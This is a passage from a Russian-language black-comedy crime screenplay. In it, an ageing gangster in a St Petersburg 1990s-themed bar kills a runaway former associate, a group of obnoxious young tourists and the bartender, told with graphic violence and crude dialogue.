Бармен разворачивается и собирается уходить.

7. ИНТ. БАР. ВХОД

На лестнице, ведущей вниз, раздаются цокающие шаги и в мрачный, подвальный кабак «Дух девяностых», заходит статный мужчина в дорогом костюме и лакированных туфлях — бизнесмен Михаил.

В далеком прошлом — «Мишаня Козырной».

На веселую молодость намекают теперь лишь старые татуировки на пальцах. Европейские менты и кредиторы все равно не читают по-русски.

Бармен замечает гостя, оценив дорогой костюм его лицо расплывается в широкой улыбке.

Немедленно подрывается к богатому гостю.

БАРМЕН

Рады приветствовать первого приличного человека в нашем заведении!

Чего изволите?

МИХАИЛ

(окинув зал взглядом, равнодушно)

Меня ожидают.

Замечает Артура и направляется к нему, бармен следует за ним по пятам. Подходят к столику.

Артур лишь молча смотрит, не предлагает сесть, не тянет руку. Наконец молчание прерывается.

АРТУР

(обращаясь к бармену)

Иди погуляй.

Взрослым дядям надо поговорить.

МИХАИЛ

(поворачивается к бармену и показав идеальную белозубую улыбку дает знак отойти)

Вас не затруднит?

Мы чуть попозже позовем.

Бармен с поклоном удаляется. Михаил молча садится за столик, точно напротив Артура. Спрятанный под столом автомат он не замечает.

Какое-то время они просто сидят, уставившись друг на друга, в напряжении.

АРТУР

Ну здравствуй..

(пауза)

.. друг.

8. ИНТ. БАР. ВХОД

Внезапно в кабак с шумом вваливается группа туристов. Молодые парни и девушки (19-22), студенты, приехавшие в летний Питер на каникулы.

Молодые необремененные интеллектом лица, дурацкая одежда и полное непонимание опасности ситуации.

Пятеро.

ЛИЗА

Одета в оверсайз, на шее старый пленочный фотоаппарат, носит круглые очки.

(обводя взглядом помещение)

Вау! Какой винтаж!

Как же тут все ау.. ау... аутенистично!

(подбегает к стене, увешанной плакатами из 90х, начинает разглядывать и фотографировать)

МАКС

Красив, высок и подкачан. Одет в майку-алкоголичку, на шее фальшивая золотая цепь как у рэперов. Мажор.

Ну да, это просто старый подвал.

Ничего такого.

Но даже в этой дыре я готов засадить своей королеве.

(прижимает к себе Алину, хватает ее за жопу и смачно в засос целует)

ПЕТР

Друг Макса, мелкий алкоголик и нищеброд, трется рядом и постоянно бухает. В красной кепке с логотипом LA.

Вообщет в Париже видали и круче. Мы правда тогда так нажрались, что я плохо помню..

Но было круто!

АЛИНА

Девушка Макса, крашеная блондинка сельско-модельной внешности, сиськи-жопа — все на месте. С накладными ногтями.

(расцепившись после засоса с Максом, наконец оглядывает помещение, с презрением)

Боже ну и дыра..

И нахрена вы меня сюда притащили?

(принюхивается)

Тут воняет!

ПАВЕЛ

Интеллигентного вида молодой человек, хипстер, парень Лизы.

(обращаясь к Петру)

Хотя бы сегодня не нажирайся заранее, а?

Нам еще до Петергофа ехать.

Снова укачает в дороге и заблюешь все вокруг..

ПЕТР

Матросов не укачивает!

ПАВЕЛ

Макс скажи ему!

АЛИНА

(обращаясь к подошедшему бармену)

У вас тут дамская комната есть?

Или в вашем веке их еще не придумали?

Бармен молча указывает направление, не желая спорить с идиоткой.

Алина удаляется в указанном направлении, виляя отменной жопой. Остальные направляются к большому столику в центре зала.

МАКС

Два дебила блин..

(обращаясь к Петру)

Давай мы туда доберемся, а там бухай сколько влезет.

Твой город епт.

Там и оставим.

Как проспишься — вернешься.

ПЕТР

(примирительно)

Да какой он мой?

У меня там бабушка жила, умерла давно.

МАКС

Ниче. Бухло, бабу и койку всегда найдешь.

Ты ж матрос.

Тут в интеллектуальную дискуссию влезает Павел.

ПАВЕЛ

(смотря на часы)

Ребят, у нас еще два часа до автобуса, давайте просто посидим.

Не шляться же по городу просто так.

Компания рассаживается за столиком. Артура с Михаилом они не замечают.

9. ИНТ. БАР. СТОЛИК АРТУРА И МИХАИЛА.

Наши герои сидят прямо, с напряжением и долго молча смотрят друг на друга. Где-то на фоне, со стороны компании молодежи слышны приглушенные звуки веселья, гогот и взрывы смеха.

Наконец Михаил не выдерживает и отводит взгляд.

Смотрит на кофе перед Артуром.

МИХАИЛ

Надо мне тоже чего-нибудь заказать..

АРТУР

(издевательски)

Ты сюда пожрать пришел?

МИХАИЛ

(примирительно)

Да-да, я понял.

Можешь не продолжать.

Тоже рад тебя видеть.

(окидывает взглядом)

Смотрю форму держишь..

АРТУР

(кивая)

Угу.

Теперь еще про семью спроси.

Про жену и детей.

Играй до конца приличного человека.

(оценив явно дорогой костюм Михаила)

Смотрю дела идут хорошо.

(смотря в глаза Михаилу)

Вернее шли.

Или ты к нам типа на экскурсию заглянул?

Пройтись по местам боевой славы и трудовых подвигов.

Так чтоли?

МИХАИЛ

(морщась, разводя руками)

Обстоятельства изменились.

Разные внешние факторы.

Санкции-санации..

(на фоне слышен взрыв хохота от компании молодежи)

Пришлось свернуть бизнес.

АРТУР

(ухмыляясь, со стебом)

Ути-пути бедненький!

Злые европейцы обидели честного российского бизнесмена!

Никогда такого не было.

(пауза)

И ты решил вернуться.

После всего.

И теперь сидишь тут, весь такой красивый и успешный.

Дай догадаюсь: ТЫ думал, что девяностые прошли, мы постарели, успокоились и все изменилось.

Теперь все сыты и довольны, никто больше не стреляет.

И все плохое теперь стоит забыть и простить за давностью лет.

Взяться за ручки и обняться.

Ничего не упустил?

МИХАИЛ

(смущенно)

Но ведь все действительно изменилось.

Посмотри вокруг! Столько новых, красивых зданий. Новые лица, новые люди! Кругом прогресс и развитие!

(камера показывает столик с малолетними дегенератами, ржущими над очередной тупой шуткой)

Я изменился, стал другим человеком.

Построил успешный бизнес.

(тыкая себе в грудь)

Сам! Своим умом, своим трудом и стараниями.

АРТУР

(усмехаясь)

Бабе своей расскажи, чтоб крепче любила.

Мне не надо.

У меня вагины нет, поэтому думаю другим местом.

(смотря внимательно)

И память тоже пока не подводит, прикинь.

Деньги помню. И сейф шефа.

А потом денег не стало.

Вместе с тобой.

МИХАИЛ

(медленно, с серьезным выражением лица)

Ты меня в чем-то обвиняешь?

Я правильно услышал?

АРТУР

(издевательски)

Ну что вы, Михаил Борисович.

Как так можно.

Вы же теперь серьезный человек, бизнесмен.

А спешно переехали в другую страну просто так, в поисках нового опыта и вдохновения.

МИХАИЛ

(наваливаясь на стол и приблизив лицо, грозно тыкая пальцем)

Слыш ты!

Я вообще мог сюда не приходить. Эта встреча лишь дань уважения организации.

Не более того.

Времена изменились, (пауза, Михаил раскидывает руки в стороны) — все изменилось.

(тыкая в Артура пальцем)

У вас больше нет власти!

Никакой.

Вас никто не боится.

Никто не уважает.

Ты просто старый алкаш, шеф — жалкий инвалид в кресле-каталке.

Прошло ваше время.

АРТУР

(смотря пустым взглядом как будто насквозь)

Все сказал?

(камера уезжает под стол, показывается палец на курке автомата)

10. ИНТ. СТОЛИК МОЛОДОЙ КОМПАНИИ.

ЛИЗА

Блииин ребята.. я в таком восторге!

(чуть подпрыгивает от восторга)

Чудесное место!

Пашааа я тебя люблю!

(начинают обниматься с Павлом)

Спасибо что нашел это место, мой милый.

АЛИНА

Да все в курсе что ты тащишься от всякого старья.

(указывает пальцем на замызганные столики)

Но это уже перебор.

Макс давай свалим?

Это ну совсем дно..

ПЕТР

(смотрит меню со все возрастающим изумлением)

Пипееец...

Ну это просто нечто!

Ребят у них тут сто двадцать сортов водки!

Даже самогон есть!

(начинает подпрыгивать от радости)

Я в раю! В раю! В раюююю!

МАКС

(явно впечатлившись ассортиментом)

Ээ.. Алиночка дорогая..

Мнение большинства..

Ну ты понимаешь.

АЛИНА

(поднимает снизу ладонями свои объемные груди, эротичным голосом)

Максииик..

Зайка..

Ты же хочешь этого да?

Хочешь чтобы я тебе еще раз дала?

11. ИНТ. СТОЛИК АРТУРА И МИХАИЛА.

Продолжается непростой, напряженный диалог.

Михаил поняв что наговорил лишнего, тем нее менее пытается переубедить бывшего коллегу и перетянуть на свою сторону.

МИХАИЛ

Ну и что тебе дал этот «Шеф», а?

Что?

(тут очевидный переход из прошлой сцены с Алиной, который дает юморной эффект)

Давай работать вместе.

За мной — бизнес, деньги.

Власть в конце концов.

Все будет.

Мир изменился, нынче совсем другие времена.

Михаил протягивает свою красивую визитку. Артур подносит к глазам и с интересом зачитывает.

АРТУР

(со стебом)

СЕНЬОР ВАЙС ПРЕЗИДЕНТЕ!

ФАЛЬКО ИН-ВЕСТЭ-МЕНТЭС.. ЭЛЬ-ТЭ-ДЭ.

Убирает визитку Михаила в карман.

Сеньор значит.

Ну хоть не сеньорита.

Вижу растешь.

Впечатлен.

(задумчиво)

Но ты прав, да.

Все действительно сильно изменилось.

Кадык теперь приходится проверять у девушек, прежде чем в койку тащить..

МИХАИЛ

(приободрившись, но не въехав в шутку)

Ну вот видишь!

Ты же разумный человек, Артур.

Всегда хорошо соображал.

Да и годы уже дают о себе знать, пора остепеняться.

(достает бумажник, из него вытаскивает семейную фотографию жены и детей)

Аннушка моя ненаглядная, сердце мое.

Вся моя жизнь в ней и детях.

Так бы и спился где-нибудь в подворотне, если бы не она.

(задумчиво)

Весь смысл жизни только в детях и есть, если подумать. Ничего другого и не..

АРТУР

(равнодушно взглянув на фото, тихо)

Помнишь Петровича?

Михаил осекается.

Помнишь значит.

По глазам вижу.

У него тоже была жена и дети.

И код от сейфа.

Михаил отворачивается, смотрит в сторону, ему неприятно все это вспоминать.

Вот только ума не хватило сбежать, прихватив жену и детей.

Так что ты там рассказывал про светлое будущее?

Камера уезжает от столика, дальше речь мы не слышим.

Михаил начинает рассказывать предложение, Артур слушает с невозмутимым выражением лица.

12. ИНТ. СТОЛИК МОЛОДЕЖИ

Все расселись, сделали заказ и сидят за столом, забитым местными явствами. Алине не удалось с помощью женской магии заставить Макса покинуть заведение.

С чего она сильно огорчена.

АЛИНА

(успев принять 50 грамм на грудь, с чего заметно порозовела)

Вот же кобелина..

Все вы мужики однаковые!

Лишь бы нажраться.

МАКС

(тоже успев принять первую стопку, громко)

Да успокойся ты!

Задрала своими претензиями!

Все ей не так!

АЛИНА

(зверея)

Да ты ваще лох и чмо!

Зассал татуху на лице бить!

Нах ты такой кому нужен, когда на свете есть Элджей?

(немного подумав)

И ваще!

Член у тебя маленький.

МАКС

(кидаются друг на друга с кулаками)

Уью суку!

Остальные ребята начинают их разнимать. Драться современные дети не умеют, поэтому все выглядит больше как переполох в борделе.

13. ИНТ. СТОЛИК АРТУРА И МИХАИЛА

Михаил закончил с предложением, Артур сидит в задумчивости, переваривая услышанное.

АРТУР

Какое интересное предложение.

Прям не ожидал.

Вижу ты действительно стал другим человеком.

Кто бы мог подумать.

(проницательно)

Женщины..

Они всегда все меняют.

Ладно, отойду покурить..

А ты посиди, отдохни. Только не буянь.

(смотрит осуждающе)

Ну ты понял.

Времена уже не те.

Не так поймут.

МИХАИЛ

За кого ты меня принимаешь?

Я серьезный бизнесмен.

Артур ухмыляясь поднимается, хлопает Михаила по плечу и идет на выход.

14. ИНТ. СТОЛИК ТУРИСТОВ

Макса с Алиной растащили по разным сторонам, Лиза успокаивает Алину, Петр с Павлом — Макса.

Атмосфера напряженная и голубки вот вот снова полезут в драку. Продолжают переругиваться.

АЛИНА

Нахера я только согласилась с вами ехать.

(замечает сломаный ноготь, подносит палец к глазам, ноготь вот-вот оторвется)

Видишь что ты наделал!

Мудак!

МАКС

Рот закрой, овца крашеная!

АЛИНА

Это я-то крашеная?

Ты же сам хаер свой красишь, мудила!

Еще каталог ему просил купить. С красками и гелями.

Как баба!

МАКС

(пытается ударить, Павел с Петром удерживают)

Заткнись, тварь тупая!

ЛИЗА

(примиряюще)

Ребята ну не надо так.

У нас отпуск, каникулы а вы мальчики все портите.

Дома разберетесь.

(замечает Артура, который с интересом слушает перепалку)

Вы окружающих пугаете.

Все головы поворачиваются к Артуру. На какое-то время все замолкают.

МАКС

(с агрессией)

Тебе че надо дед?

Пшел отсюдова!

Пока ноги ходят.

Артур ничего не отвечает и какое-то время просто стоит на месте. Затем улыбнувшись, проходит мимо столика к выходу.

Это разряжает обстановку за столом, ребята успокаиваются.

ПАВЕЛ

Макс блин, так же нельзя!

Это старый, пожилой человек.

Да и что он тебе сделал-то?

МАКС

(грозно)

Если бы сделал — я б его ваще прибил на месте!

Калич старый..

Ненавижу блин дедов.

Все старичье ваще — или алкаши или педофилы.

Когда уже только передохнут.

ПЕТР

(поддакивая)

Моя бабка когда сдохла, квартиру оставила матери, прикиньте.

Не мне.

А я типа сам должен заработать.

МАКС

Во-во!

Чисто дедовская тема!

В их-то молодость ипотеки не было.

И все поучают.

ПЕТР

(мерзко хихикая)

Хе-хе а твоя Алинка-то деду понравилась!

Он на нее так долго пырил.

МАКС

Молчи псина сутулая!

Тут Макс срывает кепку с Пети и кидает ее в сторону столика «ветеранов». Под общий смех и улюлюкание, Петя встает из-за стола и идет ее забирать.

Присев, он поднимает ее с пола, оттряхивает и тут замечает автомат под столом за которым сидит Михаил.

Удивляется, но не подает виду Михаилу и медленно отходит.

Возвращается к столику с молодежью, еще раз смотрит в сторону Михаила — решает что делать.

15. НАТ. ВХОД В БАР.

Внутренний дворик перед кабаком «Дух девяностых».

Артур в задумчивости достает пачку сигарет, закуривает. Достает телефон-раскладушку, набирает номер и делает вызов.

С другой стороны отвечает очень старый и тяжело больной мужчина, сидящий в инвалидном кресле-каталке.

Кресло-каталка стоит на террасе загородного коттеджа, вид на реку, съемка со спины и лица не видно.

АРТУР

(говорит по телефону)

День добрый, Арсений Павлович.

Встретился с нашей сбежавшей звездой коммерции.

Да, он самый.

Вам все верно доложили, действительно он.

Сам приехал. Нет, никто за хвост не тащил.

Живой и здоровый.

(пауза)

Пока целый.

Предложил следующее.

(сцена переключается на пенсионера в кресле-каталке, сам текст предложения мы не слышим)

Некоторое время шеф внимательно слушает, не перебивая.

Наконец Артур заканчивает говорить.

АРТУР

(задумчиво)

Может и правда все изменилось.

Столько лет прошло.

У него теперь жена и дети малые.

Совсем другая жизнь.

ШЕФ

(с сильным грузинским акцентом, становится понятно что "Арсений Павлович" не настоящее имя)

Ты помнишь Петровича, Артур?

У него тоже была жена и дети.

Их тебе не было жалко.

АРТУР

То было другое время, Арсений Павлович.

Мы все были моложе.

(задумчиво)

Возможно Михаил прав, все же дети это наше будущее.

Единственное ради чего еще стоит жить..

ШЕФ

Мы с тобой очень давно знакомы, Артур.

И Мишу ты тоже знаешь не первый день.

Работал когда-то с ним.

Дэла делал.

Я не стану тебе приказывать.

Ты уже взрослый, Артур.

Прими это решение сам.

(шеф завершает звонок)

Артур складывает и убирает телефон.

АРТУР

(задумчиво)

Дети — цветы жизни..

Кормишь их, заботишься.

А потом они вырастают.

Все это время, пока шел диалог с шефом, на заднем плане Петя медленно и нерешительно подходил к Артуру.

16. НАТ. ВХОД В БАР

Петр поднимается вверх по ступенькам бара, выходит наружу. Озирается и замечает Артура с сигаретой.

ПЕТР

Дядь, угостите сигаретой?

Артур поворачивает голову и смотрит на Петра бессмысленным взглядом какое-то время. Затем понимает наконец чего от него хотят.

Протягивает пачку.

Петр вытягивает две папиросы, одну кладет за ухо, вторую — просит прикурить у Артура.

Артур дает зажигалку.

Тот затягивается.

ПЕТР

Дядь а вы киллер, да?

Видел ствол под тем столом, внизу.

Тот тип в дорогом костюме — ваш клиент? Это его вам надо завалить?

Артур смотрит с интересом, но ничего не говорит.

ПЕТР

А вы крутой.

И наверное богатый.

За такое хорошо платят, я в кино видел.

Дядь, а давайте вы мне миллион долларов, а я типа такой — ничего не видел, ничего не знаю.

Мусорам так и скажу.

Они же тупые все.

АРТУР

Тебя как зовут, отрок?

ПЕТР

Петей.

Назвали в честь Петра Первого.

Жил такой крутой мужик когда-то давно. Примерно как вы.

АРТУР

Петя значит.

А папа у тебя есть, Петя?

Чем папа занимается?

ПЕТР

Пердит в диван, бухает да в телек пялит.

На пенсии он.

Охранником работал, когда-то давно.

Мы из бедноты.

Деньги очень нужны, дядь.

Хочу подняться в жизни.

АРТУР

И что же ты будешь делать с миллионом?

ПЕТР

Тачку крутую куплю.

И хату.

В Москва-Сити.

АРТУР

Боюсь одного миллиона не хватит.

Там слишком дорого.

Даже для таких успешных.

ПЕТР

Ну тогда арендую, епта.

(тут Петя пытается руками визуализировать желаемый миллион)

Деньги липнут к деньгам, успех — к успеху.

Надо как это..

(произносит с трудом, практически по слогам)

Ви-зу-ализовать. Во!

Представлять картинку.

Раз лям, два лям..

Поцаны в интернете научили.

Понял идею, дядя?

АРТУР

(удивившись с такой борзоты)

А мы уже на ты?

Не стоит хамить благодетелю.

Совет на будущее.

ПЕТР

А я тебя типа уже шантажирую, дядя.

Но походу одного ляма мало.

Чето ты не впечатлился.

Давай-ка десять.

Типа инфляция.

Повышаем расценки.

Артур докуривает сигарету, бросает окурок на землю и тушит ботинком.

АРТУР

Ну десять так десять.

Иди за мной.

Тут Артур поворачивается к Петру спиной и начинает спокойно двигаться в сторону ближайшего мусорного контейнера.

Нападения сзади от такого клоуна он точно не ждет и какой-либо угрозой Петра не считает.

Петр не врубается что происходит, но на автопилоте начинает семенить следом.

ПЕТР

Эээ.. куда? Стоп!

Але!

Мы так не договаривались!

Куда мы вообще идем?

АРТУР

За миллионом.

Как ты хотел.

Остальные девять чуть попозже занесу.

Подходят к мусорному контейнеру.

Поскольку дело происходит в культурной столице, помойка имеет неповторимый флер недобитой интеллигенции: рядом с мусоркой выставлены бутылки из-под дорогого шампанского и вина, а из соседнего бака торчит свадебная фата.

Артур невозмутимо приоткрывает крышку и указывает внутрь.

АРТУР

Там внутри тебя ждет миллион.

Поздравляю с первым жизненным достижением.

(услужливо)

Подсадить?

17. ИНТ. БАР. СТОЛИК МОЛОДЕЖИ

Компания продолжает веселиться, но наконец замечает отсутствие Петра, которого нет уже довольно давно.

ЛИЗА

Ребят, а где Петя?

Что-то давно его нет.

МАКС

Ну блиин.. Начинается..

С этим дебилом всегда одни проблемы.

Последний раз его с собой берем.

Стопудово опять втихую набухался и валяется где-нибудь в канаве.

(обращаясь к Павлу и толкнув его в плечо)

Пошли!

Один я этого утырка не потащу.

Салфеток возьми, блевоту счищать.

Ребята поднимаются из-за столика и быстро идут к выходу из бара.

18. НАТ. ПОДВОРОТНЯ ПЕРЕД ВХОДОМ В БАР

Макс с Павлом стоят у выхода из бара и с ужасом наблюдают как Артур запихивает останки Петра в мусорный бак.

Реагируют, но.. в стиле современной молодежи.

МАКС

(обращаясь к Павлу)

Доставай телефон и врубай камеру!

Ща будет ШОК-КОНТЕНТ!

Дальше идет запись с камеры телефона Павла.

МАКС

Слыш дед! Эй!

Ты че творишь ваще?!

Таблеток недоел? Или у вас в Питере все такие?

К тебе обращаюсь.

Артур невозмутимо закрывает крышку мусорного контейнера, отряхивается и наконец поворачивается к новым гостям.

АРТУР

(кивая на мусорный бак)

Просто помогаю вашему другу обрести желаемое.

Успокойтесь и не надо так орать.

Это неприлично.

(окидывает ребят оценивающим взглядом)

А.. так вы туристы.

В Эрмитаже уже были?

Могу проводить, тут недалеко.

Артур пытается приблизиться, раскинув руки в примирительном жесте. Молодые придурки отскакивают назад.

ПАВЕЛ

Не приближайся! Мы все записываем!

МАКС

Понэл!

(встает в подобие боксерской стойки, начинает подрыгивать на месте)

Ща втащу!

И че ты сделаешь, дед?

Тут происходит переход статичного кадра с мерзкой рожи охамевшего малолетнего полудурка на его же разбитое и окровавленное лицо, с забитым в глотку телефоном.

Примерно как это было в одной из серий "Игры престолов".

19. ИНТ. БАР. СТОЛИК МИХАИЛА.

Михаил наслаждается кофе, явно приготовленным с бОльшими усилиями для дорогого гостя.

Подносит чашку ко рту, отпивает жмурясь от наслаждения — как в рекламе «Нескафе».

В это время камера перемещается вверх к маленькому, залитому светом окну, где на асфальт падает залитый кровью и обезумевший от боли и ужаса Павел.

Затем его кто-то ловит за ноги и начинает медленно тащить из кадра.

Павел пытается сопротивляться и царапает асфальт сбивая пальцы в кровь, но все тщетно.

Его утаскивают.

Камера возвращается вниз, где Михаил продолжает наслаждаться своим кофе и отличным вечером.

20. НАТ. ПОДВОРОТНЯ ПЕРЕД ВХОДОМ В БАР

Камера показывает асфальт во дворе и медленно двигается по кровавым следам.

Место действия — Питер, лето, поэтому асфальт разрисован посланиями в любви, детскими считалками и рекламой наркошопов.

Наконец мы видим медленно ползущего Павла, с переломанными ногами и вспоротым брюхом.

Павел умирает, изо рта уже отхаркивается кровь, но он продолжает упорно ползти к выходу из подворотни — к залитой светом улице, на которой кипит жизнь и ходят люди.

Но доползти не успевает, поскольку Артур хватает его за ногу и тащит назад, во тьму.

Переворачивает Павла, присаживается рядом и осматривает, пытаясь оценить состояние. Понимает, что тот не жилец.

Павел тянет руку, которую Артур перехватывает и приблизив лицо к умирающему, ждет последние слова.

Павел пытается что-то сказать, хрипит, изо рта льется кровь..

ПАВЕЛ

(неразборчиво, тыкая пальцем куда-то в небо)

К..к..камера.. Камера.. на..блю..дения..

АРТУР

Что?

Аа.. ты про камеры?

Оборачивается и смотрит в то место, куда указывает умирающий Павел.

Высоко на столбе действительно висит камера наблюдения. И смотрит прямо на происходящее непотребство.

Павел с хрипом пытается рассмеяться.

ПАВЕЛ

(внезапно вспомнив свои украинские корни)

Все.. дiдько.. Тобi пiзда..

АРТУР

Не стоит конечно портить последнее впечатление туриста о нашем замечательном городе.

Но есть нюанс.

(отчески)

Видишь ли, мой юный друг..

Камеры-то в городе конечно есть.

И даже работают.

Но вот хранилища под записи с камер.

Их нет.

Ну.. потому что это был другой контракт, да.

(кивает головой в огорчении)

Такое бывает.

Не успели закупить.

(пауза)

Поэтому твою преждевременную кончину увидят конечно многие.

Но запомню только я один.

Могу последние слова твоей маме потом передать.

(с умилением)

Она у такого-то пирожочка наверняка красивая.

21. ИНТ. СТОЛИК МОЛОДЕЖИ

За столиком остались лишь дамы — Лиза с Алиной. Дамы начинают нервничать, поскольку парней нет и довольно давно.

Мерзкий бармен уже косится на бесхозных, захмелевших дам и вот-вот начнет подкатывать.

АЛИНА

Блин ну и где эти придурки шляются.

ЛИЗА

(смотрит на наручные часы)

Так, нам скоро уже выходить.

Достает телефон, открывает чат и начинает писать Павлу.

Странно..

Почему-то Паша не в сети..

Телефон разрядился что-ли?

(обращаясь к Алине)

Позвони своему, а?

АЛИНА

(дуясь после стычки)

Да щас!

Пусть первый звонит и извиняется!

И шоб с цветами!

ЛИЗА

Алин, дело серьезное.

Их давно нет.

Алина достает розовый айфон и делает вызов.

В этот момент камера показывает залитый кровью, разбитый телефон, забитый в глотку Максу.

Телефон начинает светиться и вибрировать, красиво подсвечивая сильно избитое лицо своего бывшего владельца.

В этот момент в телефон влетает кулак Артура, разбивая окончательно.

Камера с ударом уходит в затемнение, дабы не пугать излишним мясом зрителей.

АЛИНА

Оч странно.

Сначала гудки, теперь «абонент не в сети».

ЛИЗА

Да это все долбаный Питер.

В этих дворах-колодцах — как в гробу.

Совсем сигнал не ловится.

АЛИНА

(морщась)

Я походу траванулась. Живот крутит. Отойду в дамскую комнату.

Cходи наверх чтоли, посмотри наших парней.

Наверное они просто с кем-то затусили.

Встретили кого-то из друзей.

Стоят и обсуждают свой WoW, как последние чмошники.

Забыв про время.

А мы тут дергаемся.

Конец диалога уже в следующей сцене.

22. НАТ. ВЫХОД ИЗ БАРА

Лиза стоит возле выхода из бара, в полном охренении от окружающего побоища. В глазах неописуемый ужас, в теле — паралич, в пустой голове — непонимание что делать дальше.

Камера показывает прислоненное к стене, окровавленное тело Макса, свесившего вниз остатки лица.

Затем Лиза замечает Артура, невозмутимо тянущего за ноги труп Павла, подальше от света улицы.

Артур насвистывает мелодию из «Бригады».

Тут Артур замечает Лизу, видит что та вот-вот закричит, бросает Павла и быстро приближается к Лизе.

Парализованная от ужаса Лиза не понимает кто и зачем к ней приближается.

АРТУР

(делая руками успокаивающий жест)

Все хорошо, успокойся.

Я из полиции.

Это просто спецэффекты. Мы тут кино снимаем.

Все под контролем.

Обманув таким нехитрым образом бдительность малолетней идиотки, Артур наконец вплотную приближается к Лизе.

Одной рукой он закрывает ей рот, а в другой оказывается нож, которым он наносит быстрый удар в живот.

Лиза не сразу понимает что произошло и почему она так быстро слабеет. Она подносит пальцы к животу и возвращает в кадр уже окровавленными.

На лице появляется осознание и Лиза переносит полный страха взгляд на своего убийцу. Начинает плакать.

Тут она внезапно слабеет и чтобы не потерять равновесие вцепляется в Артура.

АРТУР

(медленно помогая Лизе сесть на ступеньки у входа в бар)

Все хорошо. Все будет хорошо.

Просто ты умираешь.

Так бывает.

(пауза)

Увидишь на том свете кого из святых — попроси почаще заглядывать в наш замечательный город.

Хотя-бы на Рубенштейна.

(задумавшись)

А если будет кто с рогами и копытами — все равно зови.

Для таких у нас тоже места есть, интересные.

23. ИНТ. БАР

Сильно заляпанный чужой кровью, в порванной одежде, с небольшими ссадинами и кровоподтеками, Артур спускается по ступенькам обратно в бар, проходит через помещение и садится за столик с Михаилом.

Михаил смотрит на него, замечает новый прикид и пытается понять как на это реагировать.

МИХАИЛ

Эээ.. полагаю встретил старых друзей?

(озираясь в поисках свидетелей)

Мне проблемы не особо нужны..

АРТУР

(медленно, по слогам)

Тебе проблемы не нужны..

Ну на-до же-ее..

Кто бы мог подумать.

(пристально смотрит в глаза Михаилу)

Но вот ты сидишь здесь, в этом подвале из девяностых.

Весь такой красивый и современный.

Затираешь про будущее, которое наступило.

Типа «дорогу молодым» и как все кругом изменилось.

(показывает на окровавленную одежду)

Но видишь ли.

Я тут недавно пообщался с подрастающим поколением.

Камера на миг показывает окровавленные трупы туристов.

И теперь имею другое мнение, прикинь.

(процедив)

Ни-че-го не изменилось.

По улицам бегают точно такие же молодые волки. Только заметно тупее.

И жрут друг друга.

А это значит..

(задумавшись)

Вот кстати..

Как ты сам думаешь, что это значит?

Михаил пожимает плечами, в полной уверенности что они с Артуром договорились, не понимая что ситуация изменилась.

Артур

(с улыбкой)

А это значит, мой дорогой беглый друг..

Что правила не изменились.

(берется за автомат, спрятанный под столом)

ДОБРО ПОЖАЛОВАТЬ НА РОДИНУ МУДИЛА!

(расстреливает Михаила в упор)

Поскольку автомат был с глушителем, а расстрел происходит в подвале — к бару не стягиваются все возможные силовики и спецслужбы.

К сожалению именно в этот момент с кухни возвращается бармен, неся заказанные компанией острые крылышки.

Заметив столь серьезные изменения в заведении, встает столбом и смотрит в немом изумлении то на Артура то на растерзанный труп Михаила, то на следы от пуль на стене.

Артур рывком вытаскивает автомат из-под стола и медленно наводит на бармена.

Делает знак — «подними руки вверх».

Бармен не понимает и думая, что команда касалась тарелки с заказанной едой, медленно ставит их на ближайший столик.

АРТУР

(качая головой от такой идиотии)

Руки подними, полудурок.

Артур не отрывая взгляда от бармена, одной рукой держит автомат а другой достает из сумки старый потертый ПМ.

АРТУР

(заметив взгляд бармена, направленный на навороченный автомат)

Оружие импортное, патроны дорогие.

Только для особых клиентов.

Ты же не обидишься?

Бармен в недоумении кивает.

Артур стреляет из ПМ бармену в живот, но выстрел не убивает сразу.

Бармен орет от боли и катается по полу.

Артур в это время медленно разбирает автомат, снимает глушитель и отсоединяет магазин, аккуратно складывая все в сумку под задорную музыку начала 90х.

Присаживается возле умирающего бармена.

АРТУР

(с выражением)

Все же расскажу, почему всегда заказываю Американо.

(бармен перестает стонать и с ужасом смотрит на Артура)

Потому что его нельзя испортить, представляешь?

Кофе, вода и молоко.

И все.

Все.

Даже самый тупой подросток, не определившийся с полом или кривозубый бармен в убогом баре всегда могут приготовить сраную чашечку Американо.

Даже будучи насквозь упоротыми или в депрессии.

Но ты, мой друг, превзошел самые худшие ожидания.

Cмог испоганить такой простой напиток.

БАРМЕН

(из последних сил, корчась от боли)

ПОШЕЛ НА..!

Закончить он не успевает, поскольку Артур добивает его выстрелом в упор.

24. НАТ. ВНУТРЕННИЙ ДВОР ПЕРЕД БАРОМ

Показывается летнее небо с красивыми облачками. Ветер качает развешанную сушиться одежду (все еще встречается в старых районах).

Где-то вдалеке слышен детский смех и звуки большого города.

Камера переходит на мертвого Павла.

На труп садится голубь, курлыкает, затем начинает клевать мертвую руку.

25. ИНТ. БАР

Переход камеры с живого голубя на зажаренные крылышки — с легким намеком на ход вещей.

Артур замечает оставленные барменом крылышки.

АРТУР

О! Ну хоть что-то хорошее за сегодня.

Подбирает одно из зажаренных крылышек с тарелки, с хрустом и наслаждением начинает жевать.

Внезапно из уборной возвращается Алина. Копаясь в сумочке на ходу, он не сразу замечает отсутствие ребят и окружающий погром.

АЛИНА

Ребят, тут кухня не очень.

Не налегайте на жратву.

Она походу несвежая..

Услышав это, Артур перестает жевать и выплевывает остатки недоеденного.

Закрыв наконец сумочку, Алина поднимает голову и видит пустой столик, где сидела их компания.

Посреди пустого зала.

Труп бармена она пока не замечает.

АЛИНА

(озираясь)

А.. а где все?

(уставившись на Артура)

А вы кто?

АРТУР

Друг семьи.

АЛИНА

Что.. чего?

Какой семьи?

Тут Алина наконец замечает ногу бармена, чей труп валяется на полу. Затем труп Михаила. И дырки от пуль в дальней стене.

АРТУР

(доставая ПМ и наводя на Алину)

Криминальной семьи.

От выстрела Алина отлетает к стойке и замирает.

АРТУР

(проходя мимо трупа Алины)

И почему смерть всегда забирает самых красивых..

В шалмане бы с тебя не слезали..

Убирает ПМ, достает из сумки гранату, отрывает чеку и закатывает гранату по полу на кухню.

АРТУР

Да и вообще мне ваш сервис никогда не нравился.

Артур перекидывает сумку через плечо и выходит из бара.

26. НАТ. ВХОД В БАР.

Показывается залитая кровью подворотня, раскиданные по двору тела молодых туристов.

У входа в бар на ступеньках сидит едва живая залитая кровью Лиза, которую пырнули в живот.

Лизу плачет и прижимает руки к окровавленному животу.

Артур выходя из бара, замечает Лизу и присаживается рядом.

АРТУР

Понимаю, не самый лучший момент для подобных вопросов..

(слышится глухой взрыв, из подвального помещения бара начинает валить черный дым)

Но все же..

Вы, ребята успели.. побывать в Эрмитаже?

(камера медленно обводит залитый кровью двор и валяющиеся трупы)

Там просто невероятно красиво!

(оборачивась к Лизе и улыбаясь)

Кстати, у меня есть для тебя подарок.

